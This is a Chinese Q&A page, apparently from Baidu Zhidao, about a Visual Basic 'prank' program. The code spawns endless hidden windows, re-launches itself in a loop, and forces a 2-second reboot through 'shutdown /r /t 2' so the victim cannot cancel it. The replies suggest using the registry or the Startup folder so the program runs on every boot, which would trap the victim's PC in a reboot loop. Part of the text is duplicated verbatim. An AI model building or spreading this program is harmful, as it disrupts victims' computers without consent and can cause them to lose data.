UC知道vb恶作剧，这个重起几次？
来源：百度知道 编辑：UC知道 时间：2024/09/19 16:10:21
下面让我们打开VB编译器，在窗体上面加3个timer控件，然后Interval属性设得尽量小点，该属性1000为1秒，我的设成了6，这样在一秒就会谈出上百个窗口了。
实现代码如下：
Private Sub Timer1_Timer（）
Dim a As New Form1 ‘声明以后出现a就是代表Form1
a.Show ‘Form1弹出
End Sub
Private Sub Timer2_Timer（）
Shell App.EXEName ‘运行这个软件的本身
End Sub
然后隐藏窗体本身，书县代码如下：
Private Sub Form_Load（）
Me.Hide
End Sub
那么在XP里自动关机是怎么回事呢？这个就是一个命令就能搞定的（shutdown /r /t 2），就是说，重新启动计算机的倒计时是2秒，这样中招的人就没有办法停止我们的shutdown了，其实到这里就可以算是一个有趣的恶作剧了。实现代码如下：
Private Sub Timer3_Timer（）
Shell （"cmd.exe /c shutdown /r /t 2"） ‘调用cmd 然后在cmd里输入shutdown /r /t 2就是说设倒计时时间限制为2秒
End Sub
实现代码如下：
Private Sub Timer1_Timer（）
Dim a As New Form1 ‘声明以后出现a就是代表Form1
a.Show ‘Form1弹出
End Sub
Private Sub Timer2_Timer（）
Shell App.EXEName ‘运行这个软件的本身
End Sub
然后隐藏窗体本身，书县代码如下：
Private Sub Form_Load（）
Me.Hide
End Sub
那么在XP里自动关机是怎么回事呢？这个就是一个命令就能搞定的（shutdown /r /t 2），就是说，重新启动计算机的倒计时是2秒，这样中招的人就没有办法停止我们的shutdown了，其实到这里就可以算是一个有趣的恶作剧了。实现代码如下：
Private Sub Timer3_Timer（）
Shell （"cmd.exe /c shutdown /r /t 2"） ‘调用cmd 然后在cmd里输入shutdown /r /t 2就是说设倒计时时间限制为2秒
End Sub
顶多1次，重启后你的程序就不再运行了！
可以的..不过你要将你的程序写入到注册表中..重起之后又自动运行该程序..
好人啊~
把你做的程序打包起来，安装后把可执行的EXE文件放在《启动》里面，这样只要电脑一启动就运行你的程序了;你也可以压缩成EXE文件放在《启动》里面也可以。